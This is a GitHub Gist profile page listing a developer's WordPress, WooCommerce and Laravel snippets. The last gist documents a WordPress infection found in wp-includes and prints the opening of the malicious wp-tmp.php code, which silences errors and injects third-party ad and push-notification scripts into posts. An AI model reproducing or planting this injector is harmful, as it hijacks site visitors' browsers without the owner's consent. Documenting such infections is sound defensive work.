Skip to content

Instantly share code, notes, and snippets.

View metelidrissi's full-sized avatar

Met El Idrissi metelidrissi

View GitHub Profile
@metelidrissi
metelidrissi / Node.php
Created April 2, 2024 00:56
Laravel 11 Starter Kit - Bootstrap 5 - CRUD - Model - Node.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Note extends Model
{
use HasFactory;
@metelidrissi
metelidrissi / .htaccess
Created October 11, 2022 14:05
Allow access to wp-admin only to certain IPs - Dentro de /wp-admin
#Protect wp-admin
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "WordPress Admin Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 123.456.78.91
allow from 112.131.41.16
@metelidrissi
metelidrissi / .htaccess
Created October 11, 2022 13:59
Allow access to wp-admin only to certain IPs - En la raíz de WordPress
# BEGIN WordPress
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress.
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
@metelidrissi
metelidrissi / rename_module_wordpress.php
Created December 16, 2020 09:17
Rename the module name in WordPress
function my_text_strings( $translated_text, $text, $domain ) {
switch ( $translated_text ) {
case 'WooCommerce' :
$translated_text = __( 'Stall', 'woocommerce' );
break;
}
return $translated_text;
}
add_filter( 'gettext', 'my_text_strings', 20, 3 );
@metelidrissi
metelidrissi / wow-trigger-on-scroll.js
Created May 20, 2020 15:10
How to trigger animation on scroll
new WOW().init();
(function($) {
$(".wow").each(function() {
var wowHeight = $(this).height();
$(this).attr("data-wow-offset", wowHeight);
});
})( jQuery );
jQuery( document ).ready(function() {
function delete_cookie(name) {
document.cookie = name +'=; Path=/; Domain= .yourdomain.com; Expires=Thu, 01 Jan 1970 00:00:01 GMT;'
}
// Removing cookies
delete_cookie("_gid");
delete_cookie("_ga");
// Allow cookies if enables, let's load all of our external scripts
cookieValue = document.cookie.match(/(;)?cookiebar=([^;]*);?/)[2];
a[href$='#1585316574997-47b22a3d-49a9'] {
background: red !important;
color:#ffffff !important;
}
@metelidrissi
metelidrissi / filter_products_for_woocommerce.php
Last active March 27, 2020 04:26
Creating a shortcode where you can show different filters
<?php
/**
** Shortcode [box_filter]
** Author: Met El Idrissi - https://www.metelidrissi.com
** Creates a box where you can filter by WooCommerce Categories.
** To use this shortcode follow this steps:
** 1 - Copy the entire copy and paste it inside your functions.pgp
** 2 - Open any page in your WordPress and paste the shortcode [box_filter]
** 3 - Remember to change the ID's for the respective ones you create on your WooCommerce Categories
**/
@metelidrissi
metelidrissi / split_long_word_title.php
Created March 25, 2020 14:16
When you want to split long words on title's grid or list
function smart_wordwrap($string, $width = 75, $break = "\n") {
// split on problem words over the line length
$pattern = sprintf('/([^ ]{%d,})/', $width);
$output = '';
$words = preg_split($pattern, $string, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
foreach ($words as $word) {
if (false !== strpos($word, ' ')) {
// normal behaviour, rebuild the string
$output .= $word;
@metelidrissi
metelidrissi / hack_to_wordpress_wp-tmp.php
Last active September 29, 2019 23:27
Hackeo en WordPress dentro de wp-includes
<?php
ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key='1234567897897895456';
if ( ! function_exists( 'slider_option' ) ) {
function slider_option($content){
if(is_single()){
$con = '';
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';